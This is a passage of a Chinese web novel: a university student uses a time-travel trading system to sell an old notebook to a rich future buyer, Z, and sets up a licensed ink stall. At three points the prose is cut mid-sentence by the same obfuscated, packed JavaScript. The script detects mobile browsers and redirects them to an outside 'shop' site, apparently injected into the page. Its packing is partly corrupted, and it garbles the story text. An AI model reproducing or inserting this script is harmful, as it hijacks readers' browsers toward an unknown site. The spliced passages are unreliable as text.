“是啊,所以我觉得这趟挺值的。”她顺势说。 “那就好。”Z的回复顿了顿,“不过,还是要以安全为第一。旧历建筑的年久失修程度往往超乎想象。” “明白明白。”安玥打字,“我会小心的。不说了,我得去开工了。” “好。注意安全。” 对话结束。 安玥关掉系统,走出宿舍楼。 阳光确实很好,梧桐叶的影子洒了一地。广播里的歌声悠扬。 她深吸一口气。刚才的对话让她心惊肉跳。Z太聪明了,差点就从她的描述里推测出真实环境。 校办工厂的仓库里,安玥继续整理档案。 今天她在一个铁皮柜底层,发现了一个硬壳笔记本。 她打开,第一页写着:“实验记录·1978-1979。林。” 林? 安玥快速翻看。里面是密密麻麻的公式、电路图、还有大段大段的推演文字。字迹潦草, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085635|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多地方涂改过,旁边还有更小的字迹做注释。 系统扫描。 【深度鉴定启动……】 【鉴定完成:旧历年代电子技术实验笔记。内容涉及电路设计、基础应用、以及疑似早期时空理论数学推演。技术前瞻性:极高。历史价值:极高。来源追溯:笔迹与‘星-改-3’图纸标注者相似度98%。注释笔迹与齿轮参数计算草稿批注者相似度97%。】 林知远的笔记。而且里面有时空理论的推演? 她继续往后翻。在笔记本中间部分,有几页被撕掉了,从残留的页码看,大概少了十几页。 安玥把笔记本小心收好,整理完剩下的档案,锁好仓库门,回到宿舍。 晚上,她躺在床上,脑子里全是那本笔记。 林知远那么早就在研究时空理论?这也太超前了吧!而且笔记本里被撕掉的那十几页是不是涉及了什么重要技术? 还有Z,他找林知远的手札,显然是对这些超前的理论推演感兴趣。但安玥想不明白的是,一个未来人,为什么要找几十年前的理论?难不成那些理论对未来还有用? 安玥打开系统,点开Z的私信窗口,手指悬在键盘上。 正犹豫,Z的消息先来了。 “笔友111,今天有新的分享吗?” 安玥打字:“今天发现了一本很有意思的旧笔记本。是一个姓林的技术员在做的实验记录,里面有些在那个年代看来很超前的理论推演。” Z的回复得很快:“笔记本现在在哪?” “在我手上。”安玥回复,“但我不确定要不要卖。内容涉及的方向比较特殊。” “特殊?”Z追问,“是关于哪方面的理论推演?” 安玥斟酌用词:“从公式和图表看,像是某种基础理论物理的延伸,还有大量的数学建模。坦率说,以我的知识储备,看不太懂具体是什么,但能感觉到这不是普通的技术笔记。” Z回复:“笔记本里有署名吗?或者任何能确定作者身份的标记?” 安玥翻了一下笔记本:“第一页写着‘林’,应该是姓氏。另外,笔记本中间有十几页被撕掉了。” “被撕掉了?”Z似乎很在意这个,“撕掉的部分,大概能看得出内容方向吗?” “看不出。”安玥如实说,“撕得很匆忙。” 那边很快回复:“卖给我。” 安玥盯着这行字,皱了皱眉。 她回复:“Z先生,如果你想要,需要给出一个能满足我的价格。” “价格你说了算。”Z的下一句已经发来了。 “一百万纪元币。”她心一狠,直接报了个自己都觉得离谱的超高价。 然而下一秒—— 【系统提示:收到用户Z转账1000000纪元币。备注:林姓技术员笔记本交易款。】 安玥瞪大眼睛,盯着账户余额瞬间从142000变成1142000,脑子空白了一瞬。 真的……转了? 一百万不走系统平台就这么转了?连价都不还?不怕她跑路吗! 她还没来得及反应,Z的消息已经跟了过来:“钱已付。笔记本什么时候可以给我?” 安玥看着这条消息,突然有种不真实感。她知道Z有钱,但没想到有钱到这种程度。 “马上。”她强迫自己冷静下来,打字回复,“我这就把笔记本打包上传。” “谢谢你,麻烦了。”Z回复道。 安玥动作迅速地将笔记本用防水布仔细包好,启动系统的物品传送功能。蓝光扫描过笔记本,物品信息自动录入。 几秒钟后,系统提示音响起: 【物品已存入跨时空加密仓库。该物品已发送至用户Z。】 几乎是同时,Z的消息来了:“东西收到了。交易完成。” 没有多余的话,干脆利落得让安玥都有些恍惚。 这就完了? 她盯着账户里那一长串数字,忽然意识到自己可能还是报低了。Z付钱这么爽快,只能说明这本笔记本的实际价值,远在一百万纪元币之上。 不过安玥很快就释然了。贪心不足蛇吞象,一百万已经远超预期,足够她解决很多问题了。 “交易愉快。”她回复道,“另外,如果你还需要寻找类似的物品,我可以继续留意。” “需要。”Z的回复很快,“任何与林相关的技术资料,无论完整与否,都请第一时间联系我。价格不会低于这次。” 安玥看着这行字,心里那点疑惑又冒了出来。Z对林知远的执着,已经超出了普通收藏家的范畴。 但她没问。 “好,我会留意。”她只是简单回复。 对话结束。 安玥关掉系统,整个人还处于一种恍惚的状态。 一百万纪元币…… 她立刻打开商城,毫不犹豫地购买了五个【针对性环境稳定锚(初级)】,花费500000纪元币。又续了三十天的高级防护Buff,花费600000纪元币。 余额瞬间变成42000。 但她一点都不心疼。五个环境稳定锚,她部署在了她常去的五个地方。 再加上三十天的高级防护,安全感瞬间拉满。 安玥心满意足地躺回床上,这次真的准备睡了。 临睡前,她脑子里最后一个念头是:Z这家伙在那个世界到底多有钱啊? 17. 第 17 章 第二天早上,安玥眯着眼睛从床上坐起来,宿舍里已经空了。李红英肯定又去操场晨跑了,王丽娟雷打不动去图书馆占座,张秀兰大概在洗漱间洗衣服。 安玥伸了个懒腰。账户里虽然只剩四万多纪元币,但五个环境稳定锚和三十天的高级防护让她睡了个安稳觉。 她慢悠悠地洗漱完,换上了一件白衬衫,对着宿舍里那块镜子照了照,镜子里的她看起来依旧很瘦,但起色不错。 下楼去食堂的路上,安玥难得有闲心观察起周围。晨光里的校园很安静,只有几个早起的男生在操场上打球。 食堂门口已经排起了队。安玥站在队伍末尾,前面两个女生正叽叽喳喳说着什么。 “……听说英语系那个王老师特别严,期中考试挂了好几个。” “咱们系下个月要金工实习,得准备白大褂……” “对了,你钢笔水还有吗?我的用完了,下午还得抄笔记呢。” “我也没了,正打算去校门口那小卖部买呢。” 钢笔水? 安玥耳朵竖了起来。她排在后面,状似无意地听着。 “小卖部卖得贵,一瓶飞鸟墨水要一毛二呢。” “那能怎么办?总不能去市中心百货大楼吧,来回车票就一毛钱了……” 队伍缓缓前进,安玥打了早饭,端着饭盒找了个角落坐下,脑子里却还在想刚才听到的对话。 校门口的小卖部……钢笔水……一毛二…… 她一边小口喝着粥,一边在心里盘算。 她记得系统商城里有个【低科技时代基础物品兑换】功能,虽然汇率坑人,但如果是兑换大批量低价物品呢?比如墨水? 安玥快速心算了一下。系统兑换比例是1元华币=100纪元币,一瓶墨水在八十年代初的批发价大概在七分钱左右。如果她通过系统兑换,成本会高一些,但如果在学校门口以低于小卖部的价格卖出去…… 她三口两口吃完早饭,去了校门口。 省城大学正门对面是一条不算宽的街道,两旁零零散散开着几家店铺:一家国营理发店,玻璃门上贴着“男女理发”的红字;一家副食店,门口摆着几筐蔬菜;还有一家就是学生们提到的小卖部。 小卖部店面不大,门口挂着一块木牌,上面用红漆写着“日用百货”。安玥走进去,里头的货架上摆着些肥皂、牙膏、作业本之类的东西。 一个五十来岁的大妈坐在柜台后面织毛衣,听见有人进来,眼皮都没抬:“要什么自己看。” 安玥在货架前转了一圈。果然,在角落里看到了墨水——蓝色的飞鸟牌墨水,玻璃瓶装,瓶身上贴着简单的标签。她拿起来看了看价格:一毛二分钱。 “阿姨,这墨水能便宜点吗?”她试探着问。 大妈这才抬起头,打量了她一眼:“学生吧?这已经是批发价了,全市都这个价。” “那您这儿一天能卖多少瓶啊?” “问这个干嘛?”大妈警觉起来。 “我就随便问问……”安玥放下墨水,转身出了门。 她在小卖部门口站了一会儿,观察着进出的人流。现在是早上七点半,已经有学生陆陆续续出门了。她数了数,十分钟里进去了八个人,其中三个买了墨水。 如果全天都这个频率…… 安玥心里有了谱。她转身往校办工厂走,脚步轻快。 上午整理档案的时候,她脑子里一直在盘算这件事。系统兑换虽然汇率坑,但胜在隐蔽。她可以兑换一批墨水,价格比小卖部低两分钱——一毛一瓶。对学生们来说,两分钱也是钱,能省则省。对她来说,薄利多销,关键是能建立一个合法的现金收入渠道。 而且,这只是开始。她还可以慢慢扩展品类,等有了稳定的客源和收入,再考虑更大的生意。 中午回到宿舍,安玥迫不及待地打开系统商城,找到【低科技时代基础物品兑换】。她浏览着可兑换物品列表,果然有“书写墨水”。 【兑换比例:1瓶(500毫升)=15纪元币】 安玥皱了皱眉。500毫升的墨水,在这个年代大概能分装成20小瓶。批发价七分钱一瓶的话,总成本大约一块四毛钱。而系统兑换一瓶500毫升要15纪元币,按汇率折合一毛五分钱华币——比批发价贵了一分钱。 但好处是,系统兑换来的墨水是合理化的,她不需要自己去批发市场进货,也不需要解释货源。 她想了想,决定先试试水。 “兑换10瓶500毫升蓝色墨水。”她输入指令。 【兑换成功。消耗150纪元币。物品将于24小时内以合理化方式抵达您指定区域。请选择投放地点。】 安玥选择了“省城大学校内,隐蔽处”。 【投放安排完毕。预计明日早晨7点前完成投放,届时将提供具体位置坐标。】 150纪元币,换成华币相当于一块五毛钱。她如果能把这些墨水全卖出去,按一毛一一瓶的价格,能卖两块二毛钱。 关掉系统,安玥开始琢磨怎么分装和销售。她需要小瓶子、标签,还需要一个摆摊的地方…… 正想着,系统提示音突然响了。 是Z。 “在吗?” 安玥挑了挑眉。昨天刚完成一百万的大交易,今天又来找她?看来这位VIP客户是真把她当稳定货源了。 “在。Z先生有什么需要?”她回复得专业又客气。 “你昨天提到,会继续留意类似的物品。”Z的回复很直接,“我想确认一下,你通常多久能进行一次寻宝活动?” 安玥想了想。她当然不能说自己每天都要上学,只能含糊回答:“这个说不准。得看机会和环境。有时候连续几天都有收获,有时候可能一两个星期都找不到什么好东西。” “明白了。”Z停顿了一下,“如果你下次出发前,能提前告诉我一声吗?我想了解一些现场环境的情况。” 安玥心里警铃微响。Z这是想掌握她的行踪? 她谨慎地回复:“Z先生,我们这行的规矩是行踪保密。毕竟有些地方暴露了位置就不好再去了。” 那边沉默了一会儿。 “我理解。”Z最终回复,“那么换个方式,如果你在寻宝过程中,遇到任何关于‘林’这个姓氏技术员的物品,能否立刻联系我?我可以在你返回安全区域后,实时完成交易。” 实时交易?安玥琢磨着这个词。Z这是怕好东西被别人截胡,想抢在第一时间买下来? “这个可以。”她回复,“不过实时交易的话,价格需要当场议定。而且如果物品特别珍贵,我可能需要先进行基础鉴定。” “鉴定费用我可以额外支付。”Z的回复得很爽快,“另外,如果你需要任何现场支援,我也可以提供。当然,这些都不需要你付费。” 安玥看着这条消息,心里那个“Z到底多有钱”的疑问又冒了出来。 她半开玩笑地打字:“Z先生,您这是要把我武装成专业考古队啊?” “如果你需要的话。”Z的回复很认真,“安全第一。我不希望你再受伤。” 这个未来人……是不是有点关心过头了? 她甩甩头,把这荒谬的想法赶出去。人家是金主,金主关心自己的货源安全,很正常。 “谢谢关心,不过我现有的装备够用了。”她回复,“倒是您,这么执着于‘林’的技术资料,是打算开个私人博物馆吗?” 发出去后,安玥有点后悔——这问题有点越界了。 但Z似乎并不介意。 “算是个人研究兴趣。”他回复得很模糊,“林的技术思路很独特,对理解旧历末期的技术演进有帮助。” “看来您对那段历史很有研究。”她顺着话题说,“不像我,就知道找东西,卖东西。” “你找到的东西,本身就是历史。你描述的细节,比任何历史书都生动。” 安玥笑了。这家伙还挺会说话。 “那下次我多写点细节描述,给您当阅读材料。”她调侃道。 “可以。”Z居然当真了,“如果你在寻宝过程中,看到什么有意思的场景,可以记录下来。我愿意付费购买这些观察笔记。” 安玥愣了。这算什么?买她的日记? “Z先生,您这癖好有点特别啊。”她忍不住吐槽。 “算是对真实的一种追求吧。”Z的回复有些含糊,“咱们这个的时代,一切都太标准化了,缺少那种未经设计的真实。” 安玥看着这行字,忽然理解了未来人会对她那些絮絮叨叨的描述感兴趣。 未来那个世界,可能真的很无趣吧。 “行,下次我要是看到什么有意思的,就记下来发你。不过这个不收钱,就当笔友间的分享。” 发完这条,安玥自己都觉得有点肉麻。什么笔友,人家是金主爸爸好吗! 但Z的回复很快,而且明显带着愉悦:“好。那就这么说定了,笔友111。” 安玥看着这个称呼,笑着摇了摇头。 关掉系统,她从床上爬起来,准备去上课。下午有两节课,不能迟到。 下午的课很枯燥,老师在黑板上画着图,粉笔灰簌簌地往下掉。安玥一边记笔记,一边在心里盘算她的墨水生意。 她需要的东西不少:装墨水的小玻璃瓶,可以去废品站看看有没有那种用过的药瓶;标签纸和钢笔,这个得买;还有摆摊的桌子或者木板…… 下课铃响时,她已经列了个清单。 “安玥,一起去食堂吗?”李红英收拾着书本问她。 “你们先去吧,我有点事。”安玥抱歉地笑笑。 等室友们走了,她独自去了校门口那条街,往更深处走了走。在离小卖部大约五十米的地方,她发现了一处空地。那是两栋居民楼之间的窄巷口,平时没人注意,但位置不错,学生路过都能看到。 安玥站在巷口打量了一会儿,心里有了主意。 她可以在这里摆个小摊,不用桌子,就弄块木板搭在砖头上。早晚各摆两小时,不耽误上课和整理档案。 现在的问题是:怎么把系统兑换的墨水弄过来,又怎么解释货源? 回到宿舍时,天已经快黑了。王丽娟在灯下看书,张秀兰在缝补衣服,李红英还没回来,估计又去参加什么社团活动了。 安玥爬上床,拉上帘子,打开系统。 投放墨水的提示已经来了: 【物品投放完成。墨水已投放至指定区域:省城大学东侧围墙外第一棵槐树下,埋深约20厘米。坐标已记录。】 安玥记下位置,打算明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100460|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天一早去取。 然后她点开商城,想看看有没有其他适合兑换的小商品。作业本、铅笔、橡皮……这些都有,但兑换比例都不太划算。 正浏览着,Z的消息又来了。 “今天有收获吗?” 安玥看了一眼时间,晚上八点半。未来那边是什么时候?她不知道,也不想知道——知道得越少,马甲越安全。 “今天没出门,在处理一些琐事。”她回复,“Z先生这么晚还在线?” “不算工作。”Z的回复很快,“在看一些资料。你昨天给我的笔记本,我初步看过了。” 安玥心里一紧。Z不会发现什么问题吧? “哦?有什么发现吗?”她故作轻松地问。 “缺失的部分比想象中多。”Z的语气听起来有些遗憾,“但剩下的内容已经很有价值了。谢谢你。” 这句“谢谢你”让安玥有点不好意思,她可是收了一百万呢。 “您付了钱的,不用谢。”她老实说。 “钱是钱,东西是东西。”Z回复,“有些东西,不是钱能衡量的。” “您这话说得,我都不好意思再跟您讨价还价了。”她开玩笑。 “该讨价还价的时候,还是要讨的。”Z居然很认真,“生意是生意。我只是想说你找到的东西,对我很有价值。” 安玥想起Z之前好像提到过一嘴“关系到集团实验室的研究方向”。 她犹豫了一下,还是没忍住好奇心:“那个林技术员……到底是个什么样的人?” 这次Z沉默了一阵子。 终于,消息来了:“一个天才,也是一个谜。他留下的东西很少,但每一件都指向某种可能性。” 安玥想问,但最终没问。 “希望我能帮您找到更多可能性。”她回复。 “我也希望。”Z说,“不过还是那句话,安全第一。如果你需要任何帮助,随时告诉我。” “好。” 对话结束,安玥关掉系统。 第二天一大早,天还没亮透,安玥就悄悄起床出了宿舍。 清晨的校园很安静,只有几个晨练的老教授。她按照系统给的坐标,找到了东侧围墙外第一棵槐树。 树下是松软的泥土,她找了根树枝挖了挖,果然在二十厘米深的地方摸到了一个油纸包。 拆开油纸,里面是十个玻璃瓶,瓶身上没有任何标签,但里面装着深蓝色的液体,正是她要的墨水。 安玥把瓶子重新包好,抱着溜回宿舍。室友们还在睡觉,她轻手轻脚地把东西塞到床底下,然后换了身衣服,去食堂吃早饭。 上午的课结束后,安玥去了趟废品站。她用两毛钱买了一堆洗净的小玻璃瓶,那些都是医院淘汰的药瓶,大小正好装墨水。 然后又去文具店买了白纸和蓝色钢笔水,她得自己写标签。 回到宿舍时已是下午,宿舍里没人。安玥把门反锁,开始把10瓶500毫升的大瓶墨水分装到30毫升的小药瓶里。这是她能找到的最小规格的瓶子。每瓶大概能装25毫升左右,十个大瓶总共能装200小瓶。 然后她裁了200张小纸片,用钢笔工工整整地写上“蓝墨水”,下面用小字标上“25ml”。 做完这些,已经是傍晚了。 她挑了五十瓶装进一个旧布袋里,又把写好的价格牌塞进去。她决定卖一毛一瓶,比小卖部便宜两分钱。 晚饭后,天还没黑透。安玥背着布袋,拎着一块从校办工厂捡来的破木板,来到了昨天看好的那个巷口。 她把木板搭在几块砖头上,铺上一块干净的布,然后把五十瓶墨水整整齐齐地摆上去。最后把价格牌立在前面:“蓝墨水,一毛一瓶”。 做完这一切,她站在摊位后面,心跳得有点快。 夜幕渐渐降临,路灯光晕黄地洒在街道上。学生们三三两两地走过,有的回宿舍,有的去图书馆,有的在校门口溜达。 第一个顾客是个男生,他路过时瞥了一眼摊位,脚步顿了顿。 “墨水?一毛?”他拿起一瓶看了看,“小卖部不是一毛二吗?” “嗯,我这儿便宜两分钱。”安玥解释道:“刚进的货,薄利多销。” 男生想了想,掏出一毛钱:“来一瓶。正好钢笔没水了。” 安玥接过钱,把墨水递过去。 男生走后,又陆续来了几个学生。有的买一瓶,有的买两瓶。到晚上八点收摊时,五十瓶墨水卖掉了二十三瓶,收入两块三毛钱。 收拾好摊位,安玥背着剩下的二十七瓶墨水往宿舍走。夜色里的校园很安静,远处图书馆的灯光亮着。 她抬头看了看天空,忽然觉得,一切都有可能。 第二天下午,安玥又出现在了巷口。 这次她带了七十瓶墨水,还多了两样东西,一个从宿舍带来的板凳,和一块用粉笔写着“学生勤工俭学,请多支持”的小纸板。 她把纸板立在摊位最显眼的地方,然后坐了下来。 下午四点多,正是学生下课回宿舍的高峰期。巷口人来人往,不少人瞥见这个新出现的小摊,都好奇地多看两眼。 但看归看,买的却没几个。 安玥坐了快半小时,只卖出去三瓶。她心里有点纳闷,昨天不是卖得挺好吗? 18. 第 18 章 安玥正想着,三个女生结伴走过来,在摊位前停下。 “呀,这儿也有卖墨水的!”一个扎着马尾的女生惊喜地说,“还比小卖部便宜两分钱呢。” 她正要掏钱,旁边戴眼镜的女生拉了她一下,压低声音说:“别在这儿买。” “为啥?” “你看她这摊子,连个营业执照都没有,万一是假货呢?”眼镜女生声音不大,但足够安玥听见,“小卖部好歹是跑得了和尚跑不了庙,东西有保障,她要是跑路咱俩找谁去?” 马尾女生犹豫了:“也是……” 三个女生嘀嘀咕咕地走了。 安玥坐在那张了张嘴想解释,但最终什么也没说。 是啊,她这摊子,要啥没啥。一块破木板,几个玻璃瓶,连个正经招牌都没有,人们对这种路边小摊确实心存疑虑。 又过了十分钟,来了个男生,蹲下来拿起一瓶墨水仔细看。 “你这墨水质量咋样?”他问。 “真的,飞鸟牌的,我就是分装了一下。”安玥赶紧说。 “飞鸟牌?”男生拧开瓶盖闻了闻,皱眉,“怎么没标签?飞鸟牌的瓶子不是这样的啊。” “我……我是从大瓶分装的,为了便宜卖。”安玥解释。 男生摇摇头:“那谁知道里面掺没掺水。”说完放下瓶子走了。 安玥坐在那儿,看着摊位上几乎没动过的墨水,心里渐渐凉了。 她光想着价格优势,却忘了一个没有营业执照、没有固定店面的摊子,在人们眼里就是不靠谱。 正沮丧着,一个熟悉的声音响起:“哟,这不是那个到我店里鬼鬼祟祟的大学生吗?” 安玥抬头,看见小卖部那个大妈站在摊位前,双手叉腰,脸色不善。 “阿姨……”安玥站起身。 “你在这儿摆摊卖墨水?”大妈眼睛扫过摊位上那些小瓶子,冷笑一声,“我说怎么生意变差了,原来是你在这儿抢生意啊。” “我没有抢生意,就是勤工俭学……”安玥试图解释。 “勤工俭学?”大妈打断她,“有街道证明吗?有营业执照吗?你知不知道在这儿摆摊要交管理费的?” 安玥愣住了。管理费?这个她真不知道。 “我就是卖几瓶墨水……” “几瓶墨水?”大妈嗓门大了起来,“你卖得比我便宜,学生们都上你这儿买了,我这店还开不开了?赶紧收了,不然我叫市管会的人来了!” 巷口已经围了几个看热闹的学生,指指点点的。 安玥没想到,生意没做起来,麻烦先来了。 “阿姨,我这就收。”她咬了咬嘴唇,开始收拾摊位。 大妈站在那儿看着她收,嘴里还不依不饶:“小小年纪不学好,学人家投机倒把。你是旁边大学的吧?我要找你们学校领导反映反映……” 安玥动作一顿,抬起头:“阿姨,我就是卖几瓶墨水补贴生活费,怎么就成了投机倒把了?” “没执照就是投机倒把!”大妈理直气壮,“国家允许个体户了不假,但那也得办手续!你啥手续没有,在这儿扰乱市场秩序,不是投机倒把是什么?” 周围的学生窃窃私语: “她说得对,确实没执照……” “不过这小同学也挺可怜的,一看就是家里困难。” “困难也不能没有章法啊……” 安玥没再说话,默默地把墨水装回布袋,拆了木板,转身离开。 她能感觉到背后那些目光,有同情,有好奇,也有鄙夷。 回到宿舍时,天已经黑了。宿舍里只有王丽娟在,看见她背着个大布袋进来,愣了一下:“安玥,你这是……” “没事。”安玥笑了笑,把布袋塞到床底下。 她爬上床,拉上帘子。 第一天的顺利让她产生了错觉,以为这个生意很简单。现在她才明白做生意远不是摆个摊卖点东西那么简单。 执照、手续、管理费、还有同行竞争…… 她躺在床上发呆,也许这个生意做不成了? 正想着,系统提示音响了。 “笔友111,,今天有什么新发现吗?” 安玥看着这条消息,开始调整状态。 “今天主要在处理一些后勤事务。”她回复得尽量专业,“之前收集到的一批基础物资,需要找个合规的渠道变现,补充勘探经费。” Z回复:“后勤确实重要。你们勘探队现在用的是哪个时代的货币体系?如果是旧历钱币,我这边可以兑换一些给你。” 安玥愣了一下。Z以为她在用旧历的钱币?这说明在Z的认知里,她是在未来世界的某个旧历遗址进行勘探活动,需要当地货币来购买补给。 这个误会很好。 “我们确实需要一些当地货币,但不多。”她顺着话说,“主要想建立一个小型交易点,用多余的物资换取补给,这样能减少从基地携带物资的负重。” “很聪明的策略。”Z回复,“旧历的民间交易网络虽然原始,但覆盖很广。如果你们能建立一个稳定的交易点,对长期勘探会有很大帮助。” 安玥意识到Z可能真的把她当成了某个专业的遗迹勘探团队成员。这种认知错位让她觉得既荒诞又安全。 “不过今天遇到点小麻烦。”她继续用勘探术语包装,“当地的一个固定商贩对我们这个临时交易点有意见,认为我们扰乱了市场秩序。” “旧历时期的商业保护主义。你们需要获取当地管理机构的许可,哪怕只是象征性的。” 安玥苦笑。Z说得对,但她上哪儿去获取许可? “如果获取许可有困难,”Z继续发来消息,“我可以提供一些支援。我们集团的考古研究部经常需要和各个时代的当地机构打交道,有一些标准流程可以参考。” 集团考古研究部?安玥捕捉到这个信息点。 “您所在的集团,业务范围很广啊。”她试探着说。 “主要是科技和能源领域。”Z回复得很自然,“考古研究是附属部门,算是我个人的兴趣方向。” “那您平时主要负责什么?”她问完就后悔了,这问题有点太私人了。 但Z似乎不介意:“大部分时间在听汇报和签字。集团的实际运营有专业团队负责,我主要是确保方向不偏离。” 这话说得很含蓄,但安玥开始大胆猜测,Z拥有财富和地位,但并不一定拥有实权,甚至可能有点无聊。 “听起来您对这方面很感兴趣。”她换了个话题。 “比开会有意思,至少能接触到真实的东西。你们勘探队下次出发是什么时候?” “还在筹备阶段。”安玥含糊其辞,“要等后勤问题解决,还要等几个关键设备的维修。” “如果需要设备支援,我可以提供。”Z一如既往得慷慨,“集团实验室有一些专门为遗迹勘探设计的装备。” 安玥看着这条消息,心里那点挫败感消散了一些。虽然Z的帮助她实际上用不上,但这种被支持的感觉很好。 “谢谢,不过我们现有的装备够用。”她回复。 “祝顺利。”Z说,“如果遇到麻烦,随时联系我。我们集团在旧历的一些城市有一些联络点,虽然现在基本废弃了,但或许还能提供一些帮助。” 安玥心里一动,这信息可能有用,但她不能表现得太感兴趣。 “好的,有需要我会说的。”她回复,“对了,您对林技术员的研究资料这么感兴趣,是因为集团在相关领域有研究吗?” 这次Z回复的间隔长了一些。 “算是吧。”他终于回复,“集团实验室在做一个长期的理论研究项目,遇到了一些瓶颈。林留下的思路可能提供不同的视角。” 安玥隐约拼凑出一些信息:Z所在的集团在某个高科技领域遇到了技术难题,而林知远的超前理论可能正好对这个技术有用。 “希望我能帮您找到更多有用的资料。”她打字。 “我也希望。”Z回复,“不过还是那句话,安全第一……” 他的话被打断了,一条系统提示弹出来: 【用户Z发起一笔定向转账:50000纪元币。备注:勘探后勤支援经费,无需归还。】 安玥瞪大眼睛。 “Z先生,这……”她一时不知该说什么。 “后勤问题早点解决,你们就能早点出发勘探。我希望能尽快看到新的发现。” 安玥盯着账户里新增的五万纪元币,心情复杂。这笔钱可以兑换更多墨水,还可以办营业执照。 但这也意味着Z对她期待值在增加。 “谢谢您的信任。我们会尽快解决后勤问题,继续勘探工作。” “期待你们的好消息。”Z回复,“另外,如果你们在勘探过程中发现任何关于时空理论的资料,可以请第一时间联系我吗?” 安玥想起那本笔记本里那些看不懂的公式。看来,那确实是Z最想要的东西。 “明白,我会特别留意这类资料。”她回复。 对话结束。 安玥关掉系统,在床上坐了一会儿。 Z的慷慨超出了她的想象。但她也清楚,这种慷慨是有条件的。 第二天一早,安玥去了系办公室。 负责学生工作的刘老师是个四十多岁的中年女人,戴着一副金丝眼镜。听安玥说明来意,她推了推眼镜:“勤工俭学证明?你想摆摊?” “嗯。”安玥把准备好的说辞拿出来,“刘老师,我家里情况您也知道。助学金要下个月才发,我这些天吃饭都成问题。就想趁着课余时间,卖点文具,补贴一下生活费。” 她说着,眼圈适时地红了红。 刘老师看着她瘦弱的样子,叹了口气:“你是个懂事的孩子。但是学校有规定,学生不能从事经营活动……” “我不经营,就是处理点库存。”安玥赶紧说,“我之前帮校办工厂整理档案,主任让我处理一些废旧文具。我想着扔了可惜,就分装一下,便宜卖给同学们,也算是物尽其用。” 这话半真半假,但听起来合理多了。 刘老师沉吟了一会儿:“这样吧,我给你开个证明,写清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104033|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚你是‘处理废旧文具,勤工俭学’。但你要记住,不能影响学习,不能和校外人员起冲突,如果市管会的人找你麻烦,你就说是在校生义务劳动,不是经营。” “谢谢刘老师!”安玥连忙道谢。 拿着盖了系公章的信纸,安玥心里踏实了一半。 接着她又去了学校所在的街道。她找到分管个体经济的干事,把情况说了一遍。 “学生勤工俭学啊?”干事是个三十来岁的男人,态度不错,“这个我们支持。临时营业执照可以办,但你要交五块钱管理费,按月交。” 安玥心疼了一下钱,但还是掏了钱。 “摊位地点呢?”干事问。 “就在校门口那条街,两栋楼之间的巷口。”安玥说。 干事在本子上记下:“行,我给你登记。但说好了,只能在规定时间摆摊——早上七点前,晚上五点后。白天不能影响市容。” “明白明白。” 安玥拿着临时营业执照和系里的证明走出街道办,又去找校办工厂的主任,软磨硬泡要来一小块工业用的石蜡。又去废品站淘了二十几个老式蘸水笔尖,花了一毛钱。 下午没课,她在宿舍里忙活起来。 傍晚五点,她准时出现在巷口。 摊位上铺了干净的蓝布,墨水瓶整齐排列,每一瓶都有蜡封和手写标签。旁边摆着一个小碟子,里面倒了一点墨水,插着一支蘸水笔,这是用来现场演示的。 价格牌也更新了:“蓝黑墨水一毛一一瓶,买三瓶送蘸水笔尖一个”。 她刚摆好,昨天那个大妈又来了。 “你怎么又来了?”大妈脸色不好看。 安玥没说话,默默地把系里的证明和临时营业执照拿出来,摊在摊位上。 大妈凑近看了看,脸色变了变。 “你……你办手续了?” “办了。”安玥平静地说,“阿姨,我就是勤工俭学,不影响您生意。我卖得便宜,但量小,学生们该去您那儿买还是去您那儿买。” 大妈盯着那两张纸看了半天,哼了一声转身走了。 安玥松了口气。 接下来的一小时,陆陆续续有学生来买。 这次的销售过程顺利多了。有学生质疑质量,安玥就当场用蘸水笔蘸墨水写字,蓝色的字迹清晰流畅,干得快,也不褪色。 有学生问为什么便宜,安玥就把系里的证明给他们看:“勤工俭学,不赚什么钱,就为补贴生活费。” 到晚上七点收摊时,七十瓶墨水卖掉了五十二瓶,还搭出去了十七个蘸水笔尖。收入五块七毛二分钱。 净利润不多,但比昨天好多了。更重要的是,她有了合法身份,有了固定摊位,有了回头客。 收拾摊位时,一个戴眼镜的男生走过来,就是昨天质疑她墨水真伪的那个。 “同学,再给我来两瓶。”他说着掏出两毛二分钱,“昨天不好意思啊,不是故意怀疑你。” “没事,应该的。”安玥笑着接过钱,“小心点好。” 男生拿了墨水,没马上走:“你明天还来吗?” “来,以后每天都来,早晚各两小时。” “那行,我明天带我们宿舍的人都来买。你这儿便宜,还送笔尖,划算。” 安玥心里一暖:“谢谢。” 回到宿舍,她看到Z的留言:“今天顺利吗?” 她分享了今天的进展:“后勤问题基本解决了,今天的小交易点运营顺利。” Z的回复很快:“恭喜。希望你们的勘探工作能尽快恢复。” 